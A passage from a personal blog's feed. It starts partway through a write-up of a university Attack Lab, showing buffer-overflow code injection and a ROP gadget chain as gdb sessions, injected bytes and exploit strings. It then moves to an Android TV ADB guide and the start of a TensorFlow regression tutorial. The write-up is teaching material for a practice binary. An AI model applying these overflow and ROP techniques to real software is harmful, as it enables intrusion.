<span class="o">=</span>><span class="w"> </span>0x0000000000402608<span class="w"> </span><+0>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x000000000040260c<span class="w"> </span><+4>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rdi
<span class="w"> </span>0x000000000040260f<span class="w"> </span><+7>:<span class="w"> </span>call<span class="w"> </span>0x4028a9<span class="w"> </span><Gets>
<span class="w"> </span>0x0000000000402614<span class="w"> </span><+12>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%eax
<span class="w"> </span>0x0000000000402619<span class="w"> </span><+17>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x000000000040261d<span class="w"> </span><+21>:<span class="w"> </span>ret<span class="w"> </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">until</span><span class="w"> </span>*0x402614
Type<span class="w"> </span>string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470<span class="w"> </span>trq378t4378gwe
getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:15
<span class="m">15</span><span class="w"> </span><span class="k">in</span><span class="w"> </span>buf.c
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span><span class="nv">$rsp</span>
0x55621b40:<span class="w"> </span><span class="s2">"fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"</span>
<span class="o">(</span>gdb<span class="o">)</span>
</code></pre>
</div>
<p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p>
<p>Thus, we can set our <code>ctarget.l2.txt</code> as:</p>
<pre><code>byte representation of ASM code
padding
address of %rsp
address of touch2 function
</code></pre>
<p>To get the address of <code>touch2</code> we can run:</p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2
000000000040264e<span class="w"> </span><touch2>:
<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44>
<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a>
</code></pre>
</div>
<pre><code>48 c7 c7 8f ee 8d 3e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
4e 26 b2 00 00 00 00 00
</code></pre>
<p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p>
<div class="codehilite">
<pre><span></span><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>
<h2 id="phase-3">Phase 3</h2>
<blockquote>
<p>Phase 3 also involves a code injection attack, but passing a string as argument.
<br><br>
You will need to include a string representation of your cookie in your exploit string. The string should
consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
<br><br>
Your injected code should set register %rdi to the address of this string
<br><br>
When functions hexmatch and strncmp are called, they push data onto the stack, overwriting
portions of memory that held the buffer used by getbuf. As a result, you will need to be careful
where you place the string representation of your cookie.
<cite>Attack Lab Handout</cite></p>
</blockquote>
<p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p>
<p>The rationale is simple: by the time our payload is executed, we will be setting <code>%rdi</code> to point to the cookie. Placing the cookie after <code>touch3</code> function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.</p>
<p>=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p>
<ul>
<li>Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the <code>touch3</code> function)</li>
<li>Touch 3 (8 bytes): The address of the <code>touch3</code> function is 8 bytes long.</li>
</ul>
<p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p>
<p>=> <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p>
<p>Again, let us get the binary representation for the ASM code:</p>
<div class="codehilite">
<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x55621B68</span><span class="p">,</span><span class="w"> </span><span class="nv">%rdi</span>
<span class="nf">retq</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase3.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase3.o
phase3.s:<span class="w"> </span>Assembler<span class="w"> </span>messages:
phase3.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted
phase3.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64
Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text:
<span class="m">0000000000000000</span><span class="w"> </span><.text>:
<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span><span class="m">68</span><span class="w"> </span>1b<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x55621b68,%rdi
<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret
</code></pre>
</div>
<p>Thus, our answer is going to be in the form:</p>
<pre><code>asm code
padding
return address / %rsp
touch3 address
cookie string
</code></pre>
<p>To quickly get the address for <code>touch3</code></p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch3
<span class="m">0000000000402763</span><span class="w"> </span><touch3>:
<span class="w"> </span><span class="m">402781</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2d<span class="w"> </span>je<span class="w"> </span>4027b0<span class="w"> </span><touch3+0x4d>
<span class="w"> </span>4027d3:<span class="w"> </span>eb<span class="w"> </span>d1<span class="w"> </span>jmp<span class="w"> </span>4027a6<span class="w"> </span><touch3+0x43>
</code></pre>
</div>
<p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>3e8dee8f<span class="w"> </span><span class="p">|</span><span class="w"> </span>xxd<span class="w"> </span>-p
<span class="m">3365386465653866</span>
</code></pre>
</div>
<p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p>
<pre><code>48 c7 c7 68 1B 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
63 27 40 00 00 00 00 00
33 65 38 64 65 65 38 66
</code></pre>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l3.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch3!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch3<span class="o">(</span><span class="s2">"3e8dee8f"</span><span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">3</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>
<p>Phases 1-3 Complete.</p>
<h2 id="phase-4">Phase 4</h2>
<blockquote>
<p>For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your
gadget farm. You can construct your solution using gadgets consisting of the following instruction types,
and using only the first eight x86-64 registers (%rax–%rdi).
* movq
* popq
* ret
* nop
<br><br>
All the gadgets you need can be found in the region of the code for rtarget demarcated by the
functions start<em>farm and mid</em>farm
<br><br>
You can do this attack with just two gadgets
<br><br>
When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit
string will contain a combination of gadget addresses and data.
<cite>Attack Lab Handout</cite></p>
</blockquote>
<blockquote>
<p>What is ROP Attack?
<br><br>
is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions
<cite>https://resources.infosecinstitute.com</cite></p>
</blockquote>
<p>Let us check if we can find <code>popq %rdi</code> between <code>start_farm</code> and <code>end_farm</code></p>
<p>The way a normal person would find the hex representation <code>58</code> to be between <code>start_farm</code> and <code>end_farm</code> is to find the line numbers for both and
then search between those lines. But, what if you don't want to move away from the terminal?</p>
<p>Assuming, the disassembled code for <code>rtarget</code> is stored in <code>dis2.txt</code> (<code>objdump -d rtarget > dis2.txt</code>)</p>
<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58"
16-000000000040281f <getval_373>:
17- 40281f: f3 0f 1e fa endbr64
18: 402823: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
19- 402828: c3 ret
20-
--
26-0000000000402834 <setval_212>:
27- 402834: f3 0f 1e fa endbr64
28: 402838: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi)
29- 40283e: c3 ret
30-
--
41-0000000000402854 <setval_479>:
42- 402854: f3 0f 1e fa endbr64
43: 402858: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi)
44- 40285e: c3 ret
45-
</code></pre>
<p>If we were to pick the first one as our gadget, the instruction address is <code>0x402823</code>, but to get to the instruction <code>58</code> we need to add 4 bytes:</p>
<p><code>=> Gadget address = 0x402823 + 0x4 = 0x402827</code></p>
<p>The PDF already provides the next gadget we are supposed to look for <code>48 89 c7</code></p>
<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7"
11-0000000000402814 <setval_253>:
12- 402814: f3 0f 1e fa endbr64
13: 402818: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi)
14- 40281e: c3 ret
15-
--
31-000000000040283f <getval_424>:
32- 40283f: f3 0f 1e fa endbr64
33: 402843: b8 48 89 c7 c3 mov $0xc3c78948,%eax
34- 402848: c3 ret
35-
36-0000000000402849 <setval_417>:
37- 402849: f3 0f 1e fa endbr64
38: 40284d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
39- 402853: c3 ret
40-
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$
</code></pre>
<p>We cannot use the first match because it is followed by <code>0x94</code> instead of <code>c3</code>, either of the next two matches will work (<code>0x90</code> is <code>nop</code> and it does nothing but increment the program counter by 1)</p>
<p>Again, we have to account for the offset.</p>
<p>Taking <code>0x402843</code> we need to add just 1 byte. </p>
<p><code>=> 0x402843 + 1 = 0x402844</code></p>
<p>Our answer for this file is going to be:</p>
<pre><code>padding
gadget1
cookie
gadget2
touch2
</code></pre>
<div class="codehilite">
<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2
000000000040264e<span class="w"> </span><touch2>:
<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44>
<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a>
</code></pre>
</div>
<pre><code>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
27 28 40 00 00 00 00 00
8f ee 8d 3e 00 00 00 00
44 28 40 00 00 00 00 00
4e 26 40 00 00 00 00 00
</code></pre>
<div class="codehilite">
<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>./rtarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./rtarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>rtarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html
</guid>
<title>
Tinkering with an Android TV
</title>
<description>
Tinkering with an Android TV
</description>
<link>https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html</link>
<pubDate>Tue, 03 Mar 2020 18:37:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="tinkering-with-an-android-tv">Tinkering with an Android TV</h1>
<p>So I have an Android TV, this posts covers everything I have tried on it</p>
<h2 id="contents">Contents</h2>
<ol>
<li><a href="#IP-Address">Getting TV's IP Address</a></li>
<li><a href="#Developer-Settings">Enable Developer Settings</a></li>
<li><a href="#Enable-ADB">Enable ADB</a></li>
<li><a href="#Connect-ADB">Connect ADB</a></li>
<li><a href="#">Manipulating Packages</a></li>
</ol>
<h2 id="ip-address">IP-Address</h2>
<p><em>These steps should be similar for all Android-TVs</em></p>
<ul>
<li>Go To Settings</li>
<li>Go to Network</li>
<li>Advanced Settings</li>
<li>Network Status</li>
<li>Note Down IP-Address</li>
</ul>
<p>The other option is to go to your router's server page and get connected devices</p>
<h2 id="developer-settings">Developer-Settings</h2>
<ul>
<li>Go To Settings</li>
<li>About</li>
<li>Continuously click on the "Build" option until it says "You are a Developer"</li>
</ul>
<h2 id="enable-adb">Enable-ADB</h2>
<ul>
<li>Go to Settings</li>
<li>Go to Developer Options</li>
<li>Scroll until you find ADB Debugging and enable that option</li>
</ul>
<h2 id="connect-adb">Connect-ADB</h2>
<ul>
<li>Open Terminal (Make sure you have ADB installed)</li>
<li>Enter the following command <code>adb connect <IP_ADDRESS></code></li>
<li>To test the connection run <code>adb logcat</code></li>
</ul>
<h2 id="manipulating-apps-packages">Manipulating Apps / Packages</h2>
<h3 id="listing-packages">Listing Packages</h3>
<ul>
<li><code>adb shell</code></li>
<li><code>pm list packages</code></li>
</ul>
<h3 id="installing-packages">Installing Packages</h3>
<ul>
<li><code>adb install -r package.apk</code></li>
</ul>
<h3 id="uninstalling-packages">Uninstalling Packages</h3>
<ul>
<li><code>adb uninstall com.company.yourpackagename</code></li>
</ul>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html
</guid>
<title>
Polynomial Regression Using TensorFlow
</title>
<description>
Polynomial regression using TensorFlow
</description>
<link>https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html</link>
<pubDate>Mon, 16 Dec 2019 14:16:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="polynomial-regression-using-tensorflow">Polynomial Regression Using TensorFlow</h1>
<p><strong>In this tutorial you will learn about polynomial regression and how you can implement it in Tensorflow.</strong></p>
<p>In this, we will be performing polynomial regression using 5 types of equations -</p>
<ul>
<li>Linear</li>
<li>Quadratic</li>
<li>Cubic</li>
<li>Quartic</li>
<li>Quintic</li>
</ul>
<h2 id="regression">Regression</h2>
<h3 id="what-is-regression">What is Regression?</h3>
<p>Regression is a statistical measurement that is used to try to determine the relationship between a
dependent variable (often denoted by Y), and series of varying variables (called independent variables, often denoted by X ).</p>
<h3 id="what-is-polynomial-regression">What is Polynomial Regression</h3>
<p>This is a form of Regression Analysis where the relationship between Y and X is denoted as the nth degree/power of X.
Polynomial regression even fits a non-linear relationship (e.g when the points don't form a straight line).</p>
<h2 id="imports">Imports</h2>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow.compat.v1</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="n">tf</span><span class="o">.</span><span class="n">disable_v2_behavior</span><span class="p">()</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
</code></pre>
</div>
<h2 id="dataset">Dataset</h2>
<h3 id="creating-random-data">Creating Random Data</h3>
<p>Even though in this tutorial we will use a Position Vs Salary dataset, it is important to know how to create synthetic data</p>
<p>To create 50 values spaced evenly between 0 and 50, we use NumPy's linspace function</p>
<p><code>linspace(lower_limit, upper_limit, no_of_observations)</code></p>
<div class="codehilite">
<pre><span></span><code><span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
</code></pre>
</div>
<p>We use the following function to add noise to the data, so that our values</p>
<div class="codehilite">
<pre><span></span><code><span class="n">x</span> <span class="o">+=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
<span class="n">y</span> <span class="o">+=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="position-vs-salary-dataset">Position vs Salary Dataset</h3>
<p>We will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> --no-check-certificate 'https</span><span class="p">:</span><span class="nc">//docs.google.com/uc?export</span><span class="o">=</span><span class="l">download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">"data.csv"</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="c1"># this gives us a preview of the dataset we are working with</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="o">|</span> <span class="n">Position</span> <span class="o">|</span> <span class="n">Level</span> <span class="o">|</span> <span class="n">Salary</span> <span class="o">|</span>
<span class="o">|-------------------|-------|---------|</span>
<span class="o">|</span> <span class="n">Business</span> <span class="n">Analyst</span> <span class="o">|</span> <span class="mi">1</span> <span class="o">|</span> <span class="mi">45000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Junior</span> <span class="n">Consultant</span> <span class="o">|</span> <span class="mi">2</span> <span class="o">|</span> <span class="mi">50000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Senior</span> <span class="n">Consultant</span> <span class="o">|</span> <span class="mi">3</span> <span class="o">|</span> <span class="mi">60000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Manager</span> <span class="o">|</span> <span class="mi">4</span> <span class="o">|</span> <span class="mi">80000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Country</span> <span class="n">Manager</span> <span class="o">|</span> <span class="mi">5</span> <span class="o">|</span> <span class="mi">110000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Region</span> <span class="n">Manager</span> <span class="o">|</span> <span class="mi">6</span> <span class="o">|</span> <span class="mi">150000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Partner</span> <span class="o">|</span> <span class="mi">7</span> <span class="o">|</span> <span class="mi">200000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">Senior</span> <span class="n">Partner</span> <span class="o">|</span> <span class="mi">8</span> <span class="o">|</span> <span class="mi">300000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">C</span><span class="o">-</span><span class="n">level</span> <span class="o">|</span> <span class="mi">9</span> <span class="o">|</span> <span class="mi">500000</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">CEO</span> <span class="o">|</span> <span class="mi">10</span> <span class="o">|</span> <span class="mi">1000000</span> <span class="o">|</span>
</code></pre>
</div>
<p>We convert the salary column as the ordinate (y-coordinate) and level column as the abscissa</p>
<div class="codehilite">
<pre><span></span><code><span class="n">abscissa</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">"Level"</span><span class="p">]</span><span class="o">.</span><span class="n">to_list</span><span class="p">()</span> <span class="c1"># abscissa = [1,2,3,4,5,6,7,8,9,10]</span>
<span class="n">ordinate</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">"Salary"</span><span class="p">]</span><span class="o">.</span><span class="n">to_list</span><span class="p">()</span> <span class="c1"># ordinate = [45000,50000,60000,80000,110000,150000,200000,300000,500000,1000000]</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">n</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">abscissa</span><span class="p">)</span> <span class="c1"># no of observations</span>
<span class="n">plt</span><span class="o">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="s1">'Salary'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="s1">'Position'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s2">"Salary vs Position"</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/1.png" alt="" /></p>
<h2 id="defining-stuff">Defining Stuff</h2>
<div class="codehilite">
<pre><span></span><code><span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">placeholder</span><span class="p">(</span><span class="s2">"float"</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">placeholder</span><span class="p">(</span><span class="s2">"float"</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="defining-variables">Defining Variables</h3>
<p>We first define all the coefficients and constant as tensorflow variables having a random initial value</p>
<div class="codehilite">
<pre><span></span><code><span class="n">a</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"a"</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"b"</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"c"</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"d"</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"e"</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">"f"</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="model-configuration">Model Configuration</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.2</span>
<span class="n">no_of_epochs</span> <span class="o">=</span> <span class="mi">25000</span>
</code></pre>
</div>
<h3 id="equations">Equations</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">deg1</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">b</span>
<span class="n">deg2</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">c</span>
<span class="n">deg3</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">d</span>
<span class="n">deg4</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">d</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">e</span>
